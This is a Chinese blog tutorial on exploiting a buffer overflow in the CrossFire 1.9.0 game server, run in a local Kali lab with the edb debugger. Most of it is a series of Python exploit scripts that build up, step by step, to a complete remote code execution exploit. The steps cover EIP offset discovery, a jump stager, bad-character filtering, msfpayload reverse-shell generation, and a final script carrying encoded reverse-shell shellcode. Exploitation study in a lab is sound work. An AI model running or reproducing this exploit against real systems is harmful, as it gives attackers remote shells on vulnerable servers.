缓冲区溢出是什么?

科班出身,或者学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据

成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果


CrossFire

  • 多人在线RPG游戏
  • 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞 (服务端)

调试工具

  • edb

运行平台

  • kali 2.0 x64虚拟机

Linux中内存保护机制

  • DEP
  • ASLR
  • 堆栈 cookies
  • 堆栈粉碎

漏洞太老,避免测试中我们的虚拟机被劫持,可以通过iptables设置目标端口只允许本地访问,如果网络是仅主机可以省略

#4444端口是一会开放的测试端口,只允许本地访问
iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP

#13327是服务端端口,只允许本地访问
iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP

创建/usr/games/目录,将crossfire1.9.0服务端解压到目录

#解压
touch /usr/games/
cd /usr/games/
tar zxpf crossfire.tar.gz

运行一下crossfire看看有没有问题    ./crossfire

出现Waiting for connections即可,有问题看看Error

#开启调试
edb --run /usr/games/crossfire/bin/crossfire

右下角是paused暂停状态

菜单栏 Debug => Run(F9) 点击两回可以运行起来

可以通过命令查看程序端口信息

#查看开放端口
netstat -pantu | grep 13327

EIP中存放的是下一条指令的地址

这个程序和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以,我们构造如下python程序测试

#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = "\x41" * 4379       ## \x41为十六进制的大写A
buffer = "\x11(setup sound " + crash + "\x90\x00#"   ## \x90是NULL,\x00是空字符
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

运行后,edb报错如下

意思是EIP(存放一下条执行命令的地址)已经被覆盖成上图黑体中的地址,而计算机找不到这个地址。这个地址正是由我们输入的A,说明EIP可控,存在溢出。

这里你也可以测试增加一个A或者减少一个A发送,会发现后边两个数值都不是A,都不可控,也就是说数据量只有为4379时EIP才完全可控

为了查看到底是哪个位置的A才是溢出后的EIP地址,借助工具生成唯一字符串

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 

复制下来,构造如下python脚本

#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = "唯一字符串"
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

开启edb启动程序,运行python程序

利用工具确认字符串的位置

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_offset.rb -q 

就是说EIP地址前面有4368个字符。   4369,4370,4371,4372的位置存放的是溢出后的EIP地址

我们构造如下python脚本验证

#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = 'A'*4368 + 'B'*4 + 'C'*7   ## 凑够4379个字符
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

可以看到EIP地址被精准的填充为B字符

右键ESP,选择 Follow In Dump 查看数据

因为必须是精确的字符才能溢出,就是说ESP寄存器只能存放7个字符,显然无法存放shellcode

几个寄存器都查看后,选择了EAX。因为EAX存放的是我们之前发送的几千个A,是可控的,且有足够的大小存放shellcode

思路就是让EIP存放EAX的地址,然后在地址上加12,直接从第一个A的位置开始执行。但是各个机器的EAX的地址也各不相同,不具有通用性,所以直接跳转的思路就放弃。

既然ESP可以存放7个字符,想到了跳转EAX并偏移12

构造如下python代码运行

#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = 'A'*4368 + 'B'*4 + '\x83\xc0\x0c\xff\xe0\x90\x90'
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

首先EIP地址仍然是精准的四个B

ESP => Follow In Dump 查看

83 c0 0c ff e0 90 90 说明这里也完美写入

思路就是EIP => ESP => EAX,EAX存放shellcode,因为ESP地址不固定,需要借助固定的地址跳转

打开edb,菜单栏 Plugins => OpcodeSearcher => OpcodeSearch

选择crossfire程序,ESP -> EIP,选择一个jmp esp 的地址,这个地址是不会变的

菜单栏 plugin => breakpointmanager => breakpoints 选择add增加我们上边选择的地址的断点用来测试。

然后我们测试坏字符,经过测试坏字符是\x00\x0a\x0d\x20

生成shellcode并过滤坏字符

cd /usr/share/framework2/
./msfpayload -l                        #可以生成的shellcode的种类
./msfpayload linux_ia32_reverse LHOST= R | ./msfencode -b "\x00\x0a\x0d\x20"

构建python脚本

#!/usr/bin/python
import socket
host = "127.0.0.1"
shellcode = (
"\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+
"\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+
"\x16\xb8\xb8\x9e\xeb\x15\x55\x23\x65\x78\x19\x45\xb8\xfa"+
"\x01\xd4\x10\x92\xb7\xe8\x85\x3e\xd2\xf8\xf4\xee\xab\x18"+
"\x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\xf9\xf5\xca\x58\x81"+
"\xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7"+
"\x08\x50\x6c\x07\x9a\xc8\x1a\x78\x3e\x61\xb5\x0f\x5d\x21"+
"\x1a\x99\x43\x71\x97\x54\x03")

crash = shellcode + "A"*(4368-105) + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

监听本地的4444端口,即可获取一个shell

Linux下简单的缓冲区溢出的更多相关文章

  1. windows下简单的缓冲区溢出

    缓冲区溢出是什么? 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等 ...

  2. Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞

    漏洞名称: Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-423 发布时间: 2013-11-29 更新时间: 201 ...

  3. Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞

    漏洞名称: Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-392 发布时间: 2013-11-29 更新 ...

  4. Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞

    漏洞名称: Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-154 发布时间: 2013-11-13 更新时间: 201 ...

  5. Linux下简单的socket通信实例

    Linux下简单的socket通信实例 If you spend too much time thinking about a thing, you’ll never get it done. —Br ...

  6. Linux 下 简单客户端服务器通讯模型(TCP)

    原文:Linux 下 简单客户端服务器通讯模型(TCP) 服务器端:server.c #include<stdio.h> #include<stdlib.h> #include ...

  7. Linux下简单的取点阵字模程序

    源:Linux下简单的取点阵字模程序 Linux操作系统下进行简单的图形开发,经常会用到取字模的软件,但是Linux并没有像Windows下的小工具可用,我们也并不希望为了取字模而频繁地切换操作系统. ...

  8. linux下简单的备份的脚本 2 【转】

    转自:http://blog.chinaunix.net/xmlrpc.php?r=blog/article&uid=26807463&id=4577034 之前写过linux下简单的 ...

  9. 一个linux下简单的纯C++实现Http请求类(GET,POST,上传,下载)

    目录 一个linux下简单的纯C++实现Http请求类(GET,POST,上传,下载) Http协议简述 HttpRequest类设计 请求部分 接收部分 关于上传和下载 Cpp实现 关于源码中的Lo ...

随机推荐

  1. check约束

    -- 删除表 drop table check_test; -- 不为空,不为null的值只能是0,1(不为空,值只能是0,1) create table check_test( default_fl ...

  2. 魔幻般冒泡背景的CSS3按钮动画

    这是一款非常有特点的CSS3按钮,按钮的背景不是北京图片,也不是单纯的颜色,而是一组魔幻般的冒泡背景动画.当我们将鼠标滑过按钮时,按钮的冒泡背景动画就可以展示出来.可以说这款CSS3按钮的设计风格相当 ...

  3. 基于jquery二维码生成插件qrcode

    1.首先在页面中加入jquery库文件和qrcode插件. ? 1 2 <script type="text/javascript" src="jquery.js& ...

  4. 解决easyui combobox赋值boolean类型的值时,经常出现的内容显示的value而不是text的bug

    版本:EasyUI 1.7.0 在用easyui写项目时,碰到一个combobox的奇葩bug.代码如下: <div> <select class="easyui-comb ...

  5. 系统调用syscall---用户态切换到内核态的唯一途径

    1.应用程序有时需要内核协助完成一些处理,但是应用程序不可能执行内核代码(主要是安全性考虑), 那么,应用程序需要有一种机制告诉内核,它现在需要内核的帮助,这个机制就是系统调用. 2.系统调用的本质是 ...

  6. 基于Python实现的死链接自动化检测工具

    基于Python实现的死链接自动化检测工具   by:授客 QQ:1033553122 测试环境: win7 python 3.3.2 chardet 2.3.0 脚本作用: 检测系统中访问异常(请求 ...

  7. Android为TV端助力 浅谈Aidl 通讯机制

    服务端: 首先是编写一个aidl文件,注意AIDL只支持方法,不能定义静态成员,并且方法也不能有类似public等的修饰符:AIDL运行方法有任何类型的参数和返回值,在java的类型中,以下的类型使用 ...

  8. 深入理解Java虚拟机03--垃圾收集器与内存分配策略

    一.概述  哪些内存需要回收? 什么时候回收? 如何回收? 二.对象已死吗  1.引用计数算法  定义:给对象添加一个引用计数器,当增加一个引用时,加1,当一个引用时,减1; 缺陷:当对象之间互相循环 ...

  9. git 入门教程之初识git

    初识 git git 是一个开源的分布式版本控制系统,用于敏捷高效地处理任何或小或大的项目. 背景 我们都知道,Linus 在1991年创建了开源的linux系统,随着不断发展壮大,目前已发展成为最大 ...

  10. (其他)window10上好用的软件

    1.everything:比我用电脑搜索快一些,(常用的搜索其实熟悉电脑的都会,不过想快一点) 如果你曾对效率工具有过研究,想必对 Everything 的名字不会陌生.这款仅有 1.3 MB 的小软 ...